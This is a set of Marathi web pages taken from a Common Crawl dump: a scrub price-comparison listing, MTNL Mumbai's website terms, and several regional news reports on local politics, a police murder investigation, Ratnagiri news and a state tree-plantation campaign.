कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nखरेदी स्वस्त सकरुबस India मध्ये Rs.115 येथे सुरू म्हणून 25 Sep 2018. सर्वात कमी भाव सोपे आणि जलद ऑनलाइन तुलना अग्रणी ऑनलाइन स्टोअर्स पासून प्राप्त आहेत. उत्पादनांची विस्तृत माध्यमातून ब्राउझ करा: दर तुलना , वैशिष्ट्य आणि पुनरावलोकने चित्र पहा वाचा आणि आपल्या मित्रांसह सर्वात कमी भाव शेअर करा. एक लेमन & हनी सकरब सकरुब Rs. 128 किंमत सर्वात लोकप्रिय स्वस्त India मध्ये सकरुब आहे.\nकिंमत श्रेणी सकरुबस < / strong>\n69 सकरुबस रुपयांपेक्षा कमी उपलब्ध आहेत. 1,125. सर्वात कमी दरातील उत्पादन Rs.115 येथे आपल्याला ओक्सयगलोव ऍप्रिकॉट & जोजोबा फॅसिअल सकरुब उपलब्ध India आहे. शॉपर्स स्मार्ट निर्णय आणि ऑनलाइन खरेदी दर तुलना स्वस्त उत्पादने दिलेल्या श्रेणी निवडू शकता. किंमती Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन शॉपिंग इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत.\nदर्शवत आहे 90 उत्पादने\nओक्सयगलोव ऍप्रिकॉट & जोजोबा फॅसिअल सकरुब\nहिमालय गेंतले एक्सफॉलिएटिंग वॉलनट सकरुब\nएक लेमन & हनी सकरब सकरुब\nहिमालय गेंतले एक्सफॉलिएटिंग ऍप्रिकॉट सकरुब\nहिमालय प्युरिफायिंग नीम सकरुब\nवेगा PD 01 पेडिकरे टूल फूट स्क्रबर\nवलकच रोसे फासे सकरुब\nबीओकॅरे औरंगे फासे सकरुब\nबीओकॅरे फासे सकरुब ग्रीन लेमन सकरुब\nवाडी स्रवबेरी सकरुब लोशन विथ वॉलनट ग्राइन्स सकरुब\nजोवीस पपई & हनी फॅसिअल सकरुब\nजोवीस जोजोबा & व्हाइट गरम सकरुब\nबीओकॅरे फासे सकरुब चुकंबर सकरुब\nखाडी रोसे & पपई फासे सकरुब पॅक ऑफ तवॊ सकरुब\nवैदिक लीने एक्सफो१० अवोकाडो फासे सकरुब\nवैदिक लीने जस्मिन कलान्सिंग सकरुब\nजोवीस जोजोबा & व्हाइट गरम फासे सकरुब\nबीओकॅरे फासे सकरुब चोकोलतें सकरुब\nबीओकॅरे फासे सकरुब सॅंडल सकरुब\nबीओकॅरे विने अँड बिअर सकरुब\nबीओकॅरे फासे सकरुब लव्हेंडर विथ चॅमोमिले\nबीओकॅरे फासे सकरुब ऍप्रिकॉट अँड पेच सकरुब\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.78, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%B5%E0%A5%87%E0%A4%AC%E0%A4%B8%E0%A4%BE%E0%A4%88%E0%A4%9F-%E0%A4%85%E0%A4%9F%E0%A5%80-%E0%A4%86%E0%A4%A3%E0%A4%BF-%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE", "date_download": "2018-09-25T16:48:09Z", "digest": "sha1:AHW6A2HEF5OAIX2KGKDQSX7MM4DQLQNM", "length": 10099, "nlines": 126, "source_domain": "mtnlmumbai.in", "title": "वेबसाईट अटी आणि नियम", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nवेबसाईट अटी आणि नियम\nही वेबसाइट महाराष्ट्र सरकारच्या महानगर टेलिफोन निगम लिमिटेड, मुंबई, भारत सरकारच्या सार्वजनिक क्षेत्रातील उपक्रमाने विकसित, विकसित आणि सांभाळली आहे.\nसर्व प्रयत्न या वेबसाइट वर सामग्री विनिमय याची खात्री करण्यासाठी अचूकते साठी केले गेले आहेत तसेच कायदा एक निवेदन मानली जाऊ नये किंवा कोणत्याही कायदेशीर कारणांसाठी वापरले असता व काही संदिग्धता किंवा शंका असल्यास वापरकर्ते / संघटना आणि / किंवा इतर स्रोत, सत्यापित करण्यासाठी आणि त्या करिता योग्य व्यावसायिक सल्ला घेण्याचा सल्ला दिला जात आहे.\nकोणत्याही परिस्थितीत, ही संस्था, नुकसान, अप्रत्यक्ष किंवा प्रत्यक्ष तोटा किंवा नुकसान, किंवा कोणत्याही खर्च समावेश मर्यादेशिवाय कोणतेही खर्च, नुकसान किंवा जबाबदार, नुकसान तोटा किंवा कोणतेही नुकसान किंवा वापर उद्भवलेल्या येथे, या वेबसाइटच्या वापराशी संबंधित डेटा, व्युत्पन्न किंवा संबंधित असेल त्यास जबाबदार नाही.\nहे नियम आणि अटी संचालित आहेत आणि भारतीय कायद्यानुसार लागू केल्या जातील. या नियम व अटींनुसार उद्भवलेल्या कोणत्याही विवादास भारताच्या न्यायालयांच्या अधिकारक्षेत्रास अधीन राहतील.\nजी माहिती या वेबसाइटवर पोस्ट केली गेली आहे आणि गैर-सरकारी / खाजगी संस्थांद्वारे ठेवलेली माहिती हायपरटेक्स्ट दुवे किंवा चिन्हे यांचा समावेश करू शकते. एमटीएनएल मुंबई आपली माहिती आणि सोयीसाठी ही दुवे आणि सिग्नल पुरवित आहे. आपण बाहेर वेबसाइटवर दुवा निवडा, तेव्हा एमटीएनएल मुंबई वेबसाइटवर सोडून उपलब्धते ची हमी देऊ शकत नाही आणि बाहेर मालक/प्रायोजक अधीन आहेत / गोपनीयता आणि सुरक्षा धोरणां करिता वेबसाईट एमटीएनएल मुंबई प्रत्येक वेळी संबंधित पृष्ठों च्या उपलब्धते ची कोणतीही हमी देत नाही\nएमटीएनएल लिंक्ड लिंक्ड संकेतस्थळांमध्ये समाविष्ट कॉपीराइट केलेल्या सामग्रीच्या वापरास अधिकृत करू शकत नाही. लिंक केलेल्या वेबसाइटच्या मालकाने मालकाकडून अशा अधिकृततेसाठी विनंती करण्याची शिफारस केली आहे.\nएमटीएनएल मुंबईला भारत सरकारच्या वेब मार्गदर्शक तत्वांच्या लिंक्ड वेबसाइट्सची अनुपालन करण्याची हमी नाही.\nएमटीएनएल मुंबईला भारत सरकारच्या वेब मार्गदर्शक तत्वांच्या लिंक्ड वेबसाइट्सची अनुपालन करण्याची हमी नाही.\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\nYou are here: Home वेबसाईट अटी आणि नियम", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00299.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%96%E0%A4%BE%E0%A4%B8%E0%A4%A6%E0%A4%BE%E0%A4%B0-%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%B0%E0%A4%82%E0%A4%97-%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A4%A3%E0%A5%87-%E0%A4%AF%E0%A4%BE%E0%A4%82-5/", "date_download": "2018-09-25T18:00:46Z", "digest": "sha1:ACB4R3YG3ELIMO7JJKPN7BYSXZ6ASHXE", "length": 5642, "nlines": 70, "source_domain": "pclive7.com", "title": "खासदार श्रीरंग बारणे यांच्या घरी बाप्पा विराजमान | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड खासदार श्रीरंग बारणे यांच्या घरी बाप्पा विराजमान\nखासदार श्रीरंग बारणे यांच्या घरी बाप्पा विराजमान\nपिंपरी (Pclive7.com):- मावळ लोकसभा मतदार संघाचे शिवसेनेचे खासदार श्रीरंग (आप्पा) बारणे यांच्या थेरगाव येथील घरी गणपती बाप्पा विराजमान झाले आहेत. खासदार बारणे यांनी सपत्नीक पुजा करून श्रींची प्राणप्रतिष्ठापणा केली. यावेळी त्यांचे पुत्र विश्वजीत आणि प्रताप बारणे उपस्थित होते.\nखासदार बारणे यांच्या घरी दरवर्षी गणपती बसविला जातो. यंदाचा गणेशोत्सव सर्वांना सुखाचा, आनंदाचा जावो, अशी प्रार्थना बारणे यांनी बाप्पाकडे केली आहे.\nTags: PCLIVE7.COMPcmc newsshivsenaShrirang Baraneखासदारगणपतीमावळलोकसभाशिवसेनाश्रीरंग बारणे\nशहरवासियांच्या आयुष्यात आनंद, भरभराट आणि समृध्दी येवो; महापौरांचे घरच्या बाप्पाला साकडे\nआमदार महेशदादांच्या घरी बाप्पा झोपाळ्यात विराजमान\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00299.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/For-the-search-of-bidres-body-Iraqs-assistance-will-be-taken/", "date_download": "2018-09-25T17:55:53Z", "digest": "sha1:5J72RWIHBC2AS3YJYDDF7ITS5XQERAQW", "length": 6930, "nlines": 39, "source_domain": "www.pudhari.news", "title": " बिद्रेंचा मृतदेह शोधासाठी घेणार इराकची मदत | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › बिद्रेंचा मृतदेह शोधासाठी घेणार इराकची मदत\nबिद्रेंचा मृतदेह शोधासाठी घेणार इराकची मदत\nकोल्हापूर : दिलीप भिसे\nसहायक पोलिस निरीक्षक अश्‍विनी बिद्रे-गोरे यांचा अमानुष खून करून मीरा-भाईंदर खाडीत फेकून देण्यात आलेल्या मृतदेहाच्या तुकड्यांच्या शोधासाठी तपास यंत्रणा आता इराकची मदत घेणार आहे. ‘डीएक्स 300 ड्रायव्हर हेल्ड मॅग्‍नेटोमीटर’ अत्यंंत दुर्मीळ उपकरणाचा त्यासाठी वापर करण्यात येणार आहे. जगात इराककडेच हे उपकरण उपलब्ध आहे, असा वरिष्ठ सूत्रांचा दावा आहे. दरम्यान, उपकरणाच्या वापरासाठी शासनाने मंजुरी दिली आहे.\nआळते (जि. कोल्हापूर) येथील मूळच्या महिला अधिकारी बिद्रे-गोरे यांचा खून करून पुरावा नष्ट करण्यासाठी वूडकटरने मृतदेहाचे तुकडे करून मुख्य संशयित व निलंबित पोलिस अधिकारी अभय कुरूंदकर, महेश फळणीकरसह साथीदारांनी मीरा-भाईंदरच्या खाडीत फेकून दिल्याचे तपास यंत्रणेच्या चौकशीत निष्पन्‍न झाले आहे.\nमृतदेहाचे तुकडे शोधण्यासाठी नौदल, तटरक्षक दलाच्या मदतीने प्रयत्न झाले. ओशियन सायन्स सर्व्हिसिंग प्रा. लि. कंपनीच्या माध्यमातून अद्ययावत ‘ग्रॅडिओमीटर’च्या सहाय्याने खाडीत शोधासाठी नऊ पॉईंटही निश्‍चित करण्यात आले आहेत.\nहे सर्वच पॉईंट खोल, दलदल, शिवाय काही ठिकाणी विहिरीसारखे खोलवर खड्डे असल्याने अत्याधुनिक उपकरण उपलब्धतेबाबत तपास यंत्रणांना साशंकता होती. ‘डीएक्स 300 ड्रायव्हर हेल्ड मॅग्‍नेटोमीटर’ हे अद्ययावत अत्यंत दुर्मीळ उपकरण केवळ इराककडे उपलब्ध असल्याने परराष्ट्र मंत्रालयाद्वारे इराकशी संपर्क साधण्यात आला आहे. इराकनेदेखील अत्याधुनिक उपकरण देण्याची तयारी दर्शविली आहे, असेही सांगण्यात आले.\nहेल्ड मॅग्‍नेटोमीटरमुळे शोधमोहीम सोयीस्कर\nग्रॅडिओमीटर यंत्राद्वारे निश्‍चित केलेल्या पॉईंटच्या पाच मीटर परिघामध्ये खोदकाम करावे लागणार होते. खाडीत पाण्याची खोली जादा प्रमाणात असल्याने हे काम फार अवघड व जिकिरीचे होते. तपास यंत्रणेतील वरिष्ठाधिकार्‍यांत याबाबत वेगवेगळे मतप्रवाह होते. मात्र, हेल्ड मॅग्‍नेटोमीटर उपलब्ध झाल्याने अवघ्या आठ ते नऊ इंचाच्या परिघात अवघ्या एक ते दीड मीटर खोलीवर खोदकाम करावे लागणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00299.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/ratnagiri/page/4", "date_download": "2018-09-25T17:17:12Z", "digest": "sha1:JPP5DBR6W6NPO7Y247D4NOMIQIIPMPRZ", "length": 9900, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "रत्नागिरी Archives - Page 4 of 176 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी\nसुनिता राणे, वसंत काटे यांना राज्य आदर्श शिक्षक पुरस्कार\nप्रतिनिधी /रत्नागिरी सन 2017-18 च्या राज्य आदर्श शिक्षक पुरस्कारासाठी पात्र शिक्षकांची घोषणा नुकतीच करण्यात आली आहे. यामध्ये रत्नागिरी व सिंधुदुर्ग जिह्यातील प्रत्येकी दोन शिक्षकांचा समावेश आहे. प्राथमिक विभागातून चिपळूण तालुक्यातील कोळकेवाडी-बोलाडवाडी शाळेच्या शिक्षिका सुनिता गोविंद राणे तर माध्यमिक विभागातून पावस येथील वसंत बाबुराव काटे यांची निवड झाली आहे. 2017-18 च्या राज्य आदर्श शिक्षक पुरस्कारासाठीसाठी शासनाकडून शालेय शिक्षण व क्रीडा ...Full Article\n‘जैतापूर’विरोधात मच्छीमार बांधवांचा पुन्हा एल्गार\nअखेरच्या श्वासापर्यंत लढण्याचा निर्धार ‘जेलभरो’द्वारे प्रकल्प विरोधक आक्रमक वार्ताहर /राजापूर जमीन आमच्या हक्काची.. समुद्र आमच्या हक्काचा …. सर्वांनी गर्जा, नको अणुऊर्जा.. अणुऊर्जा हटाओ, कोकण बचाओ.. अशा जोरदार घोषणा देत ...Full Article\nजिह्यात 14 हजार नवे मतदार\nमतदार यादी पुनर्निरीक्षण कार्यक्रम जाहीर 12 लाख 28 हजार मतदारांची पडताळणी पूर्ण सुसूत्रीकरणामध्ये जिह्यात 1699 मतदान केंद्रे प्रतिनिधी /रत्नागिरी भारत निवडणूक आयोगाने 1 जानेवारी 2019 च्या अर्हता दिनांकावर आधारीत ...Full Article\nदापोली-पुणे शिवशाहीला अपघात, 13 प्रवासी जखमी\nचालक फरार प्रतिनिधी /दापोली येथील बस स्थानकातून सकाळी पावणेआठ वाजता सुटणाऱया दापोली-पुणे या शिवशाही गाडीला माणगावनजीक अपघात झाला. यात 13 प्रवासी जखमी झाले आहेत. समोरच्या गाडीला ओव्हरटेक करताना ...Full Article\nवाजपेयींना ‘चतुरंग’चा अभिमानमूर्ती मरणोत्तर पुरस्कार\nपुणे येथे होणार राष्ट्रीय नेते, मान्यवरांच्या उपस्थितीत पुरस्काराचे वितरण चिपळूण / प्रतिनिधी देशासाठी अभिमानास्पद अशी उत्तुंग कामगिरी करणाऱया व्यक्तिमत्वाला चतुरंग प्रतिष्ठानतर्फे देण्यात येणारा अभिमान मूर्ती हा राष्ट्रीय स्तरावरील पुरस्कार ...Full Article\nथोरातच्या घरी सापडल्या 34 फाईल्स\nरत्नागिरी नगर परिषद बांधकाम विभागाचे प्रकरण, हजारोची लाच मागितल्याचा आरोप, दोन दिवसाची पोलीस कोठडी प्रतिनिधी /रत्नागिरी लाचलुचपत प्रतिबंधक विभागाने रंगेहाथ पकडलेल्या आनंदा थोरात यांच्याकडे बांधकाम परवानगीच्या 34 फाईल्स असल्याचे ...Full Article\nलाच स्विकारताना नगर परिषद कर्मचाऱयाला अटक\nलाचलुचपत विभागाची कारवाई 12 हजाराची लाच स्विकारताना ताब्यात ‘व्यवहारा’त तरबेज असल्याने वरिष्टांची मर्जी प्रतिनिधी /रत्नागिरी रत्नागिरी नगर परिषदेच्या बांधकाम विभागातील कर्मचाऱयाला 5 हजार रूपयांची लाच स्विकारताना रंगेहाथ अटक करण्यात ...Full Article\nवालम यांच्या आंदोलनाला पालकमंत्र्यांचा पूर्ण पाठिंबा\nरिफायनरी होऊ देणार नाही- रवींद्र वायकर यांचा पुनरूच्चार प्रतिनिधी /रत्नागिरी कोटय़वधी रूपये खर्च करून उभारण्या येणाऱया नाणार येथील महाकाय रिफायनरीच्या विरोधात स्थनिक जनता आंदोलन करत आहे. त्यांचे नेतृत्व अशोक ...Full Article\nकोकण रेल्वे भरती निकालासाठी आणखी 15 दिवस लागणार\nप्रत्येक उमेदवाराला उत्तर पत्रिका इ-मेलद्वारे, सर्वांच्या सूचना, आक्षेप ऐकले जाणार प्रतिनिधी /रत्नागिरी कोकण रेल्वे भरती प्रक्रियेत विविध पदांसाठी झालेल्या परीक्षांचे निकाल लागण्यास आणखी किमान 15 दिवस लागतील अशी माहिती ...Full Article\nगणेशोत्सवासाठी एस.टी.च्या 1500 गाडय़ा\nप्रादेशिक व्यवस्थापक राहुल तोरो यांची माहिती रत्नागिरी विभागीय बैठकीत घेतला आढावा चाकरमान्यांची गैरसोय टाळण्यासाठी खबरदारीचे आवाहन प्रतिनिधी /रत्नागिरी कोकणवासीयांसाठी अत्यंत महत्वाचा मानल्या जाणाऱया गणेशोत्सवासाठी एस. टी. प्रशासनही सज्ज झाले ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00299.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/mumbai-news-devendra-fadnavis-starts-tree-plantation-programme-56681", "date_download": "2018-09-25T17:53:25Z", "digest": "sha1:UB3LXXWBTHZXL73RUWB7VWGUCJU6WDK7", "length": 24551, "nlines": 210, "source_domain": "www.esakal.com", "title": "Mumbai news Devendra Fadnavis starts tree plantation programme नदी बचाव मोहिमेत राज्य सहभागी होणार: मुख्यमंत्री फडणवीस | eSakal", "raw_content": "\nनदी बचाव मोहिमेत राज्य सहभागी होणार: मुख्यमंत्री फडणवीस\nशनिवार, 1 जुलै 2017\nयाप्रसंगी “महाराष्ट्रातील सागरी जैवविविधता –एक परिचय हे आयझेक किहीमकर व सुप्रिया झुनझुनवाला लिखीत पुस्तक, “कोल्हापूर वनवृत्तातील रेस्क्यू ऑपरेशन” तसेच अपर प्रधान मुख्य वन संरक्षक एन वासुदेवन यांनी लिहिलेल्या “ हिस्ट्री ऑफ मॅन्ग्रोव्हज” पुस्तकांचे प्रकाशनही करण्यात आले\nठाणे : जल, जंगल आणि जमीन या तीनही पर्यावरणाच्या दृष्टीने आणि एकूणच आपल्या जीवनमानावर लक्षणीय परिणाम करणाऱ्या बाबींसाठी राज्य शासनाने महत्वपूर्ण पाऊले उचलली असून यामुळे येणाऱ्या काही वर्षांत पर्यावरणाचे फायदे दिसून येण्यास सुरुवात होईल असे मुख्यमंत्री देवेंद्र फडणवीस यांनी आज सकाळी येथे सांगितले. ४ कोटी वृक्ष लागवड मोहिमेचा राज्यस्तरीय शुभारंभ आज त्यांच्या उपस्थितीत ऐरोली येथे झाला यावेळी ते बोलत होते.\nयावेळी केंद्रीय परिवहन मंत्री केंद्रीय रस्ते वाहतूक महामार्ग आणि जहाजबांधणी मंत्री नितीन गडकरी, पालकमंत्री एकनाथ शिंदे, सदगुरु जग्गी वासुदेवजी, आदिवासी विकास राज्यमंत्री राजे अम्ब्रीशराव आत्राम,आदींची उपस्थिती होती.\nऐरोली सेक्टर १० येथे कोस्टल एंड मरीन बायोडायव्हर्सिटी सेंटरच्या प्रांगणात मुख्यमंत्र्यांच्या हस्ते ताम्हण या राज्य पुष्पाचे रोपटे, तर नितीन गडकरी व एकनाथ शिंदे यांच्या हस्ते पिंपळ, तर सुधीर मूनगंटीवार आणिसद्गुरू जग्गी वासुदेवजी यांच्या हस्ते कडुलिंबाचे रोपटे लावण्यात आले. यावेळी मुसळधार पाउस सुरु असतांना देखील उपस्थित मान्यवर, विद्यार्थी, नागरिक यांचा रोपे लावण्याचा उत्साह कमी झाला नव्हता.\nनदी बचाव मोहिमेतही सहभागी होणार\nजग्गी वासुदेवजी यांनी नदी बचाव मोहिमेची देशव्यापी सुरुवात केली असून महाराष्ट्र देखील या मोहिमेत आघाडीवर असेल अशी ग्वाही मुख्यमंत्र्यांनी टाळ्यांच्या कडकडाटात दिली. आपल्या भाषणात मुख्यमंत्री म्हणाले की, सुधीरभाऊंनी झाडे लावण्याचा जो निर्धार केला आहे त्यामुळे निश्चितच महाराष्ट्रातील वनांचे आच्छादन ३३ टक्के झाल्याशिवाय राहणार नाही. मागील वर्षी २ कोटी वृक्ष लागवडीचे उद्दिष्ट्य असतांना अडीच कोटी वृक्ष लागवड करण्यात आली.\nवनविभागाच्या वृक्षारोपणाकडे पूर्वी जुन्याच खड्यांमध्ये नवी रोपे लावतात असे उपरोधाने म्हटले जायचे, पण वनविभागाने कात टाकली असून नव्या तंत्रज्ञानाचा स्वीकार केला आहे. खड्डे खोद्ण्यापासून ते रोपे लावणे आणि ते जगविणे या सर्वांवर तंत्रज्ञानाच्या माध्यमातून नियंत्रण ठेवण्यात येते. प्रत्येक रोपांचे जिओ टॅगिंग केले जात आहे.\nजलयुक्त शिवार योजनेतून अनेक नाहीसे झालेले स्त्रोत जिवंत करण्याचे काम सुरु आहे तसेच गाळ्मुक्त धारण आणि गाळयुक्त शिवार या योजनेत जमिनीचा कस कसा वाढेल आणि ती सुपीक कशी होईल असा प्रयत्न आम्ही करीत आहोत असेही मुख्यमंत्री फडणवीस म्हणाले.\nयाप्रसंगी बोलतांना केंद्रीय मंत्री नितीन गडकरी यांनी वन विभागाच्या कामाची प्रशंसा केली. ते म्हणाले की, अतिशय कमी कालावधीत नियोजनबध्द पद्धतीने हाती घेतलेल्या या मोहिमेचे अनुकरण देशभर इतर राज्यांनी देखील करावे.देशभरातील राष्ट्रीय महामार्गालगत देखील आम्ही मोठ्या प्रमाणावर झाडे लावण्याचे नियोजन केले आहे असे ते म्हणाले.\nआगामी काळात पर्यावरणपूरक इंधनावर आम्ही भर देणार असून नागपुरात आम्ही बायो इथेनॉलवर चालणारया ५५ बसेस सुरु केल्या आहेत. देशात अगरबत्तीच्या व्यवसायासाठी ४० हजार कोटीचे लाकूड आयात होत असून ४ हजार कोटीच्या काड्या आयात होतात, पण आता गडचिरोली येथे सुधीरभाऊनी अगरबत्ती उत्पादनासाठी तेथीलच जंगलातील बांबू व इतर लाकूड याचा उपयोग करुन क्लस्टर सुरु केले आहे त्याचा निश्चितच फायदा स्थानिक उद्योगाला होईल. बांबूचा देखील चांगला उपयोग आपण करून घेऊ शकतो असे ते म्हणाले. जग्गी वासुदेवजी यांनी देखील या मोहिमेची प्रशंसा करून आपल्या नदी बचाव मोहिमेमध्ये सहभागी व्हावे असे आवाहन केले.\nराज्य ३३ टक्के हरित करणारच\nप्रारंभी वनमंत्री सुधीर मूनगंटीवार यांनी आपल्या प्रास्ताविकात पुढील तीन वर्षांत वन विभागाच्या माध्यमातून ५० कोटी झाडे कोणत्याही परिस्थितीत लावणार असे सांगून या चालू सप्ताहात ४ कोटींपेक्षा जास्त रोपे लावूत अशी आशा व्यक्त केली. ते म्हणाले की, सध्या राज्यात २० टक्यांपेक्षा देखील कमी हरित क्षेत्र आहे. पण या मोहिमेनंतर हे हरित क्षेत्र वाढून ३३ टक्के होणारच. ऐरोली येथील हा कार्यक्रम सुरु होण्यापूर्वी दृष्टिहीन शाळकरी मुलांनी उत्साहात रोपे लावली त्याचा उल्लेखही त्यांनी केला. १६ कोटी ६० लाख रोपटी आत्ता नर्सरीत तयार आहेत असेही त्यांनी सांगितले.\nयाप्रसंगी जग्गी वासुदेवजी यांच्या ईशा फौन्डेशन समवेत वृक्षारोपणाचा करार करण्यात आला. विश्वस्त कृष्णा अरुप, सामाजिक वनीकरणचे प्रधान मुख्य वन संरक्षक अनुराग चौधरी यांनी स्वाक्षऱ्या केल्या.\nसंत तुकाराम वनग्राम पुरस्कार प्रदान\nयाप्रसंगी सावनेर तालुक्यातील सोनापूर गावातील संयुक्त वन व्यवस्थापन समितीला १० लाख रुपयांचा प्रथम पुरस्कार देण्यात आला तर ५ लाख रुपयांचा द्वितीय पुरस्कार विभागून निलंगा तालुक्यातील लांबोटा आणि सिधुदुर्ग जिल्ह्यातील पवनपार संयुक्त वन व्यवस्थापन समितीला देण्यात आला. ३ लाख रुपयांचा तृतीय पुरस्कार विभागून गोंदिया जिल्ह्यातील नवाटोला आणि भोकर तालुक्यातील बेंबर संयुक्त वन व्यवस्थापन समितीला देण्यात आला. १ लाख ५१ हजार रुपयांचा धनादेश उत्तेजनार्थ पारितोषिक म्हणून हिंगोलीतील आंगणवाडा संयुक्त वन व्यवस्थापन समितीला देण्यात आले.\nयाप्रसंगी “महाराष्ट्रातील सागरी जैवविविधता –एक परिचय हे आयझेक किहीमकर व सुप्रिया झुनझुनवाला लिखीत पुस्तक, “कोल्हापूर वनवृत्तातील रेस्क्यू ऑपरेशन” तसेच अपर प्रधान मुख्य वन संरक्षक एन वासुदेवन यांनी लिहिलेल्या “ 